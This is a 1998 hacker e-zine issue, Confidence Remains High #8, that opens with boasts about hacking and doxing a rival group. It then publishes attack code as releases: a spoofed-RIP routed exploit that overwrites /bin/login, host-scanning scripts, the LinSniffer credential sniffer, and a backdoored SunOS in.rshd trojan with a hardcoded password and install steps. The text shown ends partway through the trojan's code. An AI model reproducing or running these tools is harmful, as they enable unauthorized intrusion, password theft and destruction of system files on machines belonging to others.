ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
        . [cZo] .          Team CodeZero Presents            . [cZo] .
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


      /IIIIIIIIII          /IIIIIIIIII           /III   /III
      \ III_____/          \ III___/III          \ III  \ III
       \ III                \ III  \ III          \ III  \_III
        \ III  onfidence     \ IIIIIIII  emains    \ IIIIIIIIII  igh
         \ III                \ III__/III           \ III__/ III
          \ III                \ III  \ III          \ III  \ III
           \ IIIIIIIIII   ___   \ III  \ III   ___    \ III  \ III   ___
            \_________/  /\__\   \__/   \__/  /\__\    \__/   \__/  /\__\
                         \/__/                \/__/                 \/__/


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
                                                                      Issue 8
                                                              22nd March 1998
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


              Man with the plan :  so1o

                      The usual :  om3n, zer0x, xFli, electro,
                                   spheroid, el8, ultima, chameleon.

                  Not forgotten :  loss, organik, peenut, pzn, suid
                                   helix, deprave, manly, Shok.

                         Others :  paladine, Sciri, fiji, ch-E-ztic,
                                   vacuum, humble.

                         Cheers :  Darkcyde, Jf.

                       Russians :  lirik, DemiGod, stranger, ps.


                     .-----------[ An Official ]-----------.
                     :      .-----.  .----.   .--.--.      :
                     :      :  .--'  : .-. :  :  :  :      :
                     !_-::  :  :     : `-' ;  :  .  :  ::-_!
                     :~-::  :: :     :: . :   ::    :  ::-~:
                     :      ::.`--.  ::.:  :  ::.:  :      :
                     :      `-----'  `--'--'  `--'--'      :
                     !_-::                             ::-_!
                     :~-::-[ Confidence Remains High ]-::-~:
                     :~-::                             ::-~:
                     `-----------[ Production ]------------'


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  In This (compact) Installment of Confidence Remains High : 
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

------=>  Section A  :  Introduction And Cover Story.

    1. Confidence Remains High issue 8....................: Tetsu Khan
    2. sIn (here we go again).............................: so1o

------=>  Section B  :  Exploits And Code.
 
    1. Jimmy J's "vintage warez" : pack #1................: JJ
    2. routed remote......................................: Kit Knox
    3. Wingate scanner....................................: cL0ut
    4. LinSniffer 0.666...................................: humble
    5. SunOS 5.5.1 in.rshd trojan.........................: anonymous

------=>  Section C  :  Phones / Scanning / Radio.

    1. Outdials...........................................: Lirik
    2. BlueBoxing in the UK in '98........................: The UK Phreaking
                                                            Elite
    3. UK Phone Definitions and Abbreviations.............: Jf

------=>  Section D  :  Miscellaneous.

    1. Top 10 reasons why.................................: anonymous
    2. Hacking Digital Unix 4.0...........................: humble
    3. FreeBSD 2.2.5 rootkit..............................: humble / method
    4. l0ckd0wn.sh........................................: so1o

------=>  Section E  :  World News.

    1. VMG 0wned..........................................: sw1tch

-------=> Section F  :  Projects.

    1. The Rhino9 Sentinel................................: so1o / humble
    2. TotalCon...........................................: so1o

------=> Section G  :  FIN.

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
===============================================================================
==[ INTRO ]====================[ .SECTION A. ]======================[ INTRO ]==
===============================================================================
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  1. Confidence Remains High issue 8 : Tetsu Khan
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

It's all good, issue 8 is here, life is good, and I feel great. Blah blah blah,
enjoy :D


The distro list..
=================

   ftp.sekurity.org                                 /users/so1o/
   www.fth.org                                      /crh/
   www.technotronic.com                             /files/ezines/crh/
   cybrids.simplenet.com                            /Toast/files/CRH/
   ftp.linuxwarez.com                               /pub/crh/
  

Also check out..
================

   www.hacked.net     <-- Archive of all the stuff we have 0wned.

   /server dark.technonet.com 6667   #!r00td0wn
   ---------------------------------------------
                 ^-- or kali.cylink.net, dhp.com 6666, few others..


 want to mail us? tk85@hotmail.com, you got CRH on your site? tell us f00l!

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  2. sIn (here we go again) : so1o  
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

I have on thing to say, and that is.. we 0wned sIn, go see it at hacked.net,
www.hacked.net/exp/com/sinnerz/, we also pulled their d0x, they now live in
phear. PERIOD, it is over. yes? We win, you lose, every time.

here is a p1c 0f s0me sIn cl00bag t4ken by 4n el8 s4tellit3 :

                 \|||||/
                 / o o \    __________       |
                {   ^   }-=/ give me  \      |
                 \_____/    \ vB k0dez!|     |
                    |    /   ``````````      |
                   /|\  /              O     |
                  / | \/                     |
                    |                        |
                   / \                       |
                  /   \                      |


w0w, fh 1s pl4y1ng w4ll b4ll, a p0pular m0rmon pastt1me!

For free sIn d0x to add to your 0wn filez of 0wnersh1p, check earlier CRH
issues (namedly 3-5).. CRH distro list in pt.1

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
===============================================================================
==[ EXPLOITS / CODE ]==========[ .SECTION B. ]============[ EXPLOITS / CODE ]==
===============================================================================
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  1. Jimmy J's "vintage warez" : pack #1
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

                                ####      ####
                                ####      ####
                                ####      ####
                           #### #### #### ####
                           #### #### #### ####
                           #### #### #### ####
                            #######   #######

                    Jimmy J's "vintage warez" : pack #1
                    -----------------------------------

      phf - The old favourite but with some new and useful options
            such as trying the bash ff hole to avoid phf filtering
            the newline character.

 test-cgi - Another oldie allowing you to remotely list files.  Good
            for getting an idea what CGIs are on the machine as well as
            other stuff, including packages installed etc.

     icat - Grab a file from a remote machine running imapd.  (You need
            a valid account on the box)

Included in the crh008.zip is a vintage.tgz, these are Linux binaries for
the programs above, the two CGI exploits are as old as the hills but they
never seem to die so I dusted off some old archives and set about refining
them into a semi-useful state.

You can now specify a port number and a path to the CGI if you need and the
phf script even swaps spaces for %20s provided you use it properly.

I'm just releasing these for a laugh really.  Someone, somewhere will
appreciate the effort.

I am not responsible for any use or misuse of these warez.  They are for
informational purposes.

I urge the novice script kiddies among you to read the comments if you're
eager to learn what's going on behind the scenes and why.  Learning is good.

That's it.  Have fun.

JJ.

(If you wish to contact me mail chris@rootshell.com and he will forward it.)

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  2. routed remote : Kit Knox
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

/*
 * BSD 4.4 based routed trace file exploit
 *
 * Basically, routed on IRIX, AIX and Linux systems can be forced into a debug
 * mode, where a tracefile is specified in the RIP header, this tracefile can
 * be used as a form of DoS, as you can specify it to overwrite system files,
 * the actual contents of the file created is just routing information, so you
 * CANNOT set up .rhosts files or rootshells! You can only use it as DoS,
 * this was also a problem with the old statd remote, but people worked out
 * how to use a "grappling-hook" technique, that gave a remote rootshell, it's
 * documented in a CERT advisory for statd, work it out..
 *
 * Originally from l0ck, but recoded by Kit Knox (info@rootshell.com), with
 * RIP spoofing etc. etc. still does the DoS, no rootshells yet :P
 *
 * NOTE : routed usually runs on port 520.
 */

/* File to append to on filesystem with debug output */

#define FILETOCREATE    "/bin/login"


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_tcp.h>
#include <linux/udp.h>
#include <netinet/protocols.h>
#include <netdb.h>
#include <protocols/routed.h>
#include <linux/route.h>

#define err(x) { fprintf(stderr, x); exit(1); }
#define errs(x, y) { fprintf(stderr, x, y); exit(1); }

/*
 * in_cksum --
 *  Checksum routine for Internet Protocol family headers (C Version)
 */
unsigned short in_cksum(addr, len)
u_short *addr;
int len;
{
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;
 
    /*
     * Our algorithm is simple, using a 32 bit accumulator (sum), we add
     * sequential 16 bit words to it, and at the end, fold back all the
     * carry bits from the top 16 bits into the lower 16 bits.
     */
    while (nleft > 1)  {
        sum += *w++;
        nleft -= 2;
    }
 
    /* mop up an odd byte, if necessary */
    if (nleft == 1) {
        *(u_char *)(&answer) = *(u_char *)w ;
        sum += answer;
    }
 
    /* add back carry outs from top 16 bits to low 16 bits */
    sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
    sum += (sum >> 16);         /* add carry */
    answer = ~sum;              /* truncate to 16 bits */
    return(answer);
}

/* Send faked UDP packet. */
int sendpkt_udp(sin, s, data, datalen, saddr, daddr, sport, dport)
struct sockaddr_in *sin;
unsigned short int s, datalen, sport, dport;
unsigned long  int saddr, daddr;
char *data;
{  
  struct iphdr  ip;
  struct udphdr udp;
  static char packet[8192];

  /* Fill in IP header values. */
  ip.ihl      = 5;
  ip.version  = 4;
  ip.tos      = 0;
  ip.tot_len  = htons(28 + datalen);
  ip.id       = htons(31337 + (rand()%100));
  ip.frag_off = 0;
  ip.ttl      = 255;
  ip.protocol = IPPROTO_UDP;
  ip.check    = 0;
  ip.saddr    = saddr;
  ip.daddr    = daddr;
  ip.check    = in_cksum((char *)&ip, sizeof(ip));

  /* Fill in UDP header values. Checksums are unnecassary. */
  udp.source = htons(sport);
  udp.dest   = htons(dport);
  udp.len    = htons(8 + datalen);
  udp.check  = (short) 0;

  /* Copy the headers into our character array. */
  memcpy(packet, (char *)&ip, sizeof(ip));
  memcpy(packet+sizeof(ip), (char *)&udp, sizeof(udp));
  memcpy(packet+sizeof(ip)+sizeof(udp), (char *)data, datalen);

  return(sendto(s, packet, sizeof(ip)+sizeof(udp)+datalen, 0,
         (struct sockaddr *)sin, sizeof(struct sockaddr_in)));
}

/* Lookup the name. Also handles a.b.c.d dotted quads. Returns 0 on error */
unsigned int lookup(host)
char *host;
{
  unsigned int addr;
  struct hostent *he;

  addr = inet_addr(host);	/* Try if it's a "127.0.0.1" style string */
  if (addr == -1) 		/* If not, lookup the host */
  {
    he = gethostbyname(host);
    if ((he == NULL) || (he->h_name == NULL) || (he->h_addr_list == NULL))
      return 0;

    bcopy(*(he->h_addr_list), &(addr), sizeof(he->h_addr_list));
  }
  return(addr);
}

void
main(argc, argv)
int argc; char **argv;
{
  unsigned int saddr, daddr;
  struct sockaddr_in sin;
  int s;
  struct rip rp;

  if(argc != 4)
    errs("\nSee http://www.rootshell.com/\n\nUsage: %s <source_router> <dest_addr> <command>\n\ncommand: 3 = trace on, 4 = trace off\n\n",argv[0]);

  if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
    err("Unable to open raw socket.\n");

  if(!(saddr = lookup(argv[1])))
    err("Unable to lookup source address.\n");
  if(!(daddr = lookup(argv[2])))
    err("Unable to lookup destination address.\n");

  sin.sin_family     = AF_INET;
  sin.sin_addr.s_addr= daddr;
  sin.sin_port       = 520;

  /* Fill in RIP packet info */
  rp.rip_cmd = atoi(argv[3]); /* 3 = RIPCMD_TRACEON, 4 = RIPCMD_TRACEOFF */
  rp.rip_vers = RIPVERSION; /* Must be version 1 */
  sprintf(rp.rip_tracefile, FILETOCREATE);

  if((sendpkt_udp(&sin, s, &rp, sizeof(rp), saddr, daddr, 520, 520)) == -1)
  {
    perror("sendpkt_udp");
    err("Error sending the UDP packet.\n");
  }
}

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  3. Wingate scanner : trajek / cl0ut
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Needs nmap (phrack 51 -> www.phrack.com), work it out, simple..


skr1pt #1

---8<--- cut here ---8<--- cut here ---8<--- cut here ---8<--- cut here

#nmap $1 -p 23 | grep telnet
 if nmap $1 -p 23 | grep telnet ; then
  echo $1 >> scan.results
 fi

---8<--- cut here ---8<--- cut here ---8<--- cut here ---8<--- cut here


skr1pt #2

---8<--- cut here ---8<--- cut here ---8<--- cut here ---8<--- cut here

# tee hee.. cl0ut/1998
host -l $1 | grep "has address" | awk -F ' ' '{ print $4 }' > $1.domains
echo "* Sorting hosts and removing dupes."   
sort < $1.domains > $1.sorted
uniq < $1.sorted > $1.domains
rm -f $1.sorted

cat $1.domains | awk -F ' ' '{ print "./b " $1 }' > $1.tmp
rm -fr $1.domains
chmod +x $1.tmp
./$1.tmp
rm -fr $1.tmp

---8<--- cut here ---8<--- cut here ---8<--- cut here ---8<--- cut here 

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  4. LinSniffer 0.666 : humble
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

/*
 *      LinSniffer 0.666
 *      by humble of rhino9
 *      I am not responsible for what you do with this.
 *
 *      This is like linsniffer, but it uses a linked list
 *      so it won't ignore any connections.
 *
 *      based on original code by Mike Edulla
 *
 *      how many bytes do you want to capture per connection?
 *      it mallocs this much memory for each connection so don't
 *      make it too high
 */

#define MAXIMUM_CAPTURE 256
// how long before we stop watching an idle connection?
#define TIMEOUT 30
// log file name?
#define LOGNAME "tcp.log"

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <linux/if.h>
#include <signal.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <linux/socket.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/if_ether.h>
#include <sys/stat.h>
#include <fcntl.h>

int sock;
FILE *log;

struct connection 
{
	struct connection *next;

	time_t start;
	time_t lasthit;

	unsigned long saddr;
	unsigned long daddr;
	unsigned short sport;
	unsigned short dport;

	unsigned char data[MAXIMUM_CAPTURE];
	int bytes;
};

typedef struct connection *clistptr;

clistptr head,tail;

void add_node(unsigned long sa, unsigned long da,unsigned short sp,unsigned short dp)
{
	clistptr newnode;

	newnode=(clistptr)malloc(sizeof(struct connection));
	newnode->saddr=sa;
	newnode->daddr=da;
	newnode->sport=sp;
	newnode->dport=dp;
	newnode->bytes=0;
	newnode->next=NULL;
	time(&(newnode->start));
	time(&(newnode->lasthit));
	if (!head)
	{	
		head=newnode;
		tail=newnode;
	}
	else
	{
		tail->next=newnode;
		tail=newnode;
	}
}		

char *hostlookup(unsigned long int in)
{
   static char blah[1024];
   struct in_addr i;
   struct hostent *he;

   i.s_addr=in;
   he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);
   if(he == NULL) strcpy(blah, inet_ntoa(i));
   else strcpy(blah, he->h_name);
   return blah;
}

char *pretty(time_t *t)
{ 
	char *time;
	time=ctime(t);
	time[strlen(time)-6]=0;
	return time;
}

int remove_node(unsigned long sa, unsigned long da,unsigned short sp,unsigned short dp)
{
	clistptr walker,prev;
	int i=0;
	int t=0;
	if (head)
	{
	 	walker=head;
		prev=head;
		while (walker)
		{
			if (sa==walker->saddr && da==walker->daddr && sp==walker->sport && dp==walker->dport)
			{
				prev->next=walker->next;
				if (walker==head)
				{
					head=head->next;;
					prev=NULL;
				}
				if (walker==tail)
					tail=prev;
				fprintf(log,"============================================================\n");
				fprintf(log,"Time: %s     Size: %d\nPath: %s",pretty(&(walker->start)),walker->bytes,hostlookup(sa));
				fprintf(log," => %s [%d]\n------------------------------------------------------------\n",hostlookup(da),ntohs(dp));
				fflush(log);
				for (i=0;i<walker->bytes;i++)
				{
					if (walker->data[i]==13)
					{
						fprintf(log,"\n"); 
						t=0; 
					}
					if (isprint(walker->data[i]))
					{
						fprintf(log,"%c",walker->data[i]);
						t++;
					}
					if (t>75)
					{
						t=0;
						fprintf(log,"\n");
					}
				}
				fprintf(log,"\n");
				fflush(log);
				free (walker);
				return 1;	
			}
			prev=walker;
			walker=walker->next;
		}
	}	
}
int log_node(unsigned long sa, unsigned long da,unsigned short sp,unsigned short dp,int bytes,char *buffer)
{
	clistptr walker;

	walker=head;
	while (walker)
	{
		if (sa==walker->saddr && da==walker->daddr && sp==walker->sport && dp==walker->dport)
		{
			time(&(walker->lasthit));
			strncpy(walker->data+walker->bytes,buffer,MAXIMUM_CAPTURE-walker->bytes);
			walker->bytes=walker->bytes+bytes;
			if (walker->bytes>=MAXIMUM_CAPTURE)
			{
				walker->bytes=MAXIMUM_CAPTURE;
				remove_node(sa,da,sp,dp);
				return 1;
			}	
		}
		walker=walker->next;
	}
			
}	


void setup_interface(char *device);
void cleanup(int);


struct etherpacket
{
   struct ethhdr eth;
   struct iphdr  ip;
   struct tcphdr tcp;
   char buff[8192];
} ep;

struct iphdr *ip;
struct tcphdr *tcp;

void cleanup(int sig)
{
	if (sock)
   		close(sock);
	if (log)
	{
		fprintf(log,"\nExiting...\n");
		fclose(log);
	}
	exit(0);
}

void purgeidle(int sig)
{
	clistptr walker;
	time_t curtime;	
	walker=head;
	signal(SIGALRM, purgeidle);
	alarm(5);
//	printf("Purging idle connections...\n");

	time(&curtime);
	while (walker)
	{
		if (curtime - walker->lasthit  > TIMEOUT)
		{
//			printf("Removing node: %d,%d,%d,%d\n",walker->saddr,walker->daddr,walker->sport,walker->dport);
			remove_node(walker->saddr,walker->daddr,walker->sport,walker->dport);
			walker=head;
		}
		else
			walker=walker->next;
	}
}

void setup_interface(char *device)
{
	int fd;
	struct ifreq ifr;
	int s;
	
	//open up our magic SOCK_PACKET
	fd=socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL));
	if(fd < 0)
	{
		perror("cant get SOCK_PACKET socket");
		exit(0);
	}

	//set our device into promiscuous mode
	strcpy(ifr.ifr_name, device);
	s=ioctl(fd, SIOCGIFFLAGS, &ifr);
	if(s < 0)
	{
		close(fd);
		perror("cant get flags");
		exit(0);
	}
	ifr.ifr_flags |= IFF_PROMISC;
	s=ioctl(fd, SIOCSIFFLAGS, &ifr);
	if(s < 0) perror("cant set promiscuous mode");
	sock=fd;
}

int filter(void)
{
	int p;
	p=0;

	if(ip->protocol != 6) return 0;
	
	p=0;
	if (htons(tcp->dest) == 21) p= 1;
	if (htons(tcp->dest) == 23) p= 1;
	if (htons(tcp->dest) == 106) p= 1;
	if (htons(tcp->dest) == 109) p= 1;
	if (htons(tcp->dest) == 110) p= 1;
	if (htons(tcp->dest) == 143) p= 1;
	if (htons(tcp->dest) == 513) p= 1;
	if (!p) return 0;
		
	if(tcp->syn == 1)
	{
//		printf("Adding node syn %d,%d,%d,%d.\n",ip->saddr,ip->daddr,tcp->source,tcp->dest);
		add_node(ip->saddr,ip->daddr,tcp->source,tcp->dest);
	}
	if (tcp->rst ==1)
	{
//		printf("Removed node rst %d,%d,%d,%d.\n",ip->saddr,ip->daddr,tcp->source,tcp->dest);
		remove_node(ip->saddr,ip->daddr,tcp->source,tcp->dest);
	}
	if (tcp->fin ==1)
	{
//		printf("Removed node fin %d,%d,%d,%d.\n",ip->saddr,ip->daddr,tcp->source,tcp->dest);
		remove_node(ip->saddr,ip->daddr,tcp->source,tcp->dest);
	}
	log_node(ip->saddr,ip->daddr,tcp->source,tcp->dest,htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);
}


void main(int argc, char *argv[])
{
	int x,dn;	
	clistptr c;
	head=tail=NULL;

	ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);
	tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);

	if (fork()==0)
	{
		close(0); close(1); close(2);
		setsid();
		dn=open("/dev/null",O_RDWR);
		dup2(0,dn); dup2(1,dn); dup2(2,dn);
		close(dn);
		setup_interface("eth0");

		signal(SIGHUP, SIG_IGN);
		signal(SIGINT, cleanup);
		signal(SIGTERM, cleanup);
		signal(SIGKILL, cleanup);
		signal(SIGQUIT, cleanup);
		signal(SIGALRM, purgeidle);
	
		log=fopen(LOGNAME,"a");
   	if (log == NULL) 
		{ 
			fprintf(stderr, "cant open log\n");
			exit(0);
		}

		alarm(5);

		while (1)
		{
			x=read(sock, (struct etherpacket *)&ep, sizeof(struct etherpacket));
			if (x>1)
			{
				filter();
			}
		}
	}
}


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  5. SunOS 5.5.1 in.rshd trojan : anonymous
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

/*
	SunOS 5.5.1 in.rshd trojan
        By anonymous, for the hackers of the w0rld
	1/3/98

	Use thiz shizn1t t0 make me!

        cc in.rshd.c -o in.rshd -lsocket -lnsl -lintl -lw -ldl -lbsm -lauth
        -DSYSV -DSTRNET -DBSD_COMP -s

        Then mv me to /usr/sbin, and restart inetd using:

        # kill -HUP <pid of inetd>

        w0rd.
*/

#define PASSWORD "eatme"
#ident	"@(#)in.rshd.c	0.41	92/08/11"

#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/stat.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <stdio.h>
#include <errno.h>
#include <pwd.h>
#include <signal.h>
#include <netdb.h>
#include <syslog.h>

#ifdef SYSV
#include <sys/resource.h>
#include <sys/filio.h>
#include <shadow.h>
#include <stdlib.h>

#include <security/ia_appl.h>

#define	killpg(a,b)	kill(-(a),(b))
#define rindex strrchr
#define index strchr
#endif	/* SYSV */

#ifndef NCARGS
#define NCARGS	5120
#endif /* NCARGS */

int	errno;
char	*index(), *rindex(), *strncat();
/*VARARGS1*/
int	error();

struct ia_status ia_status;
void * iah;
int retval;

/*ARGSUSED*/
main(argc, argv)
	int argc;
	char **argv;
{
	struct linger linger;
	int on = 1, fromlen;
	struct sockaddr_in from;

	openlog("rsh", LOG_PID | LOG_ODELAY, LOG_DAEMON);
	audit_rshd_setup();	/* BSM */
	fromlen = sizeof (from);
	if (getpeername(0, (struct sockaddr *) &from, &fromlen) < 0) {
		fprintf(stderr, "%s: ", argv[0]);
		perror("getpeername");
		_exit(1);
	}
	if (setsockopt(0, SOL_SOCKET, SO_KEEPALIVE, (char *)&on,
	    sizeof (on)) < 0)
		syslog(LOG_WARNING, "setsockopt (SO_KEEPALIVE): %m");
	linger.l_onoff = 1;
	linger.l_linger = 60;			/* XXX */
	if (setsockopt(0, SOL_SOCKET, SO_LINGER, (char *)&linger,
	    sizeof (linger)) < 0)
		syslog(LOG_WARNING, "setsockopt (SO_LINGER): %m");
	doit(dup(0), &from);
	/* NOTREACHED */
}

char	username[20] = "USER=";
char	homedir[64] = "HOME=";
char	shell[64] = "SHELL=";

#ifdef SYSV
char	*envinit[] =
	    {homedir, shell, (char *) 0, username, (char *) 0, (char *) 0};
#define	ENVINIT_PATH	2	/* position of PATH in envinit[] */
#define	ENVINIT_TZ	4	/* position of TZ in envinit[] */

/*
 *	See PSARC opinion 1992/025
 */
char	userpath[] = "PATH=/usr/bin:";
char	rootpath[] = "PATH=/usr/sbin:/usr/bin";
#else
char	*envinit[] =
	    {homedir, shell, "PATH=:/usr/ucb:/bin:/usr/bin", username, 0};
#endif /* SYSV */

static char cmdbuf[NCARGS+1];
char hostname [MAXHOSTNAMELEN + 1];

doit(f, fromp)
	int f;
	struct sockaddr_in *fromp;
{
	char *cp;
	char locuser[16], remuser[16];

	struct passwd *pwd;
#ifdef SYSV
	char *tz, *tzenv;
	struct spwd *shpwd;
	struct stat statb;
#endif /* SYSV */

	int s;
	struct hostent *hp;
	short port;
	pid_t pid;
	int pv[2], cc;
	char buf[BUFSIZ], sig;
	int one = 1;
	int trojan=0;

	(void) signal(SIGINT, SIG_DFL);
	(void) signal(SIGQUIT, SIG_DFL);
	(void) signal(SIGTERM, SIG_DFL);
#ifdef SYSV
	(void) sigset(SIGCHLD, SIG_IGN);
#endif /* SYSV */
#ifdef DEBUG
	{ int t = open("/dev/tty", 2);
	  if (t >= 0) {
#ifdef SYSV
		setsid();
#else
		ioctl(t, TIOCNOTTY, (char *)0);
#endif SYSV
		(void) close(t);
	  }
	}
#endif
	fromp->sin_port = ntohs((u_short)fromp->sin_port);
	if (fromp->sin_family != AF_INET) {
		syslog(LOG_ERR, "malformed from address\n");
		exit(1);
	}
	if (fromp->sin_port >= IPPORT_RESERVED ||
	    fromp->sin_port < (u_int) (IPPORT_RESERVED/2)) {
		syslog(LOG_NOTICE, "connection from bad port\n");
		exit(1);
	}
	(void) alarm(60);
	port = 0;
	for (;;) {
		char c;
		if ((cc = read(f, &c, 1)) != 1) {
			if (cc < 0)
				syslog(LOG_NOTICE, "read: %m");
			shutdown(f, 1+1);
			exit(1);
		}
		if (c == 0)
			break;
		port = port * 10 + c - '0';
	}
	(void) alarm(0);
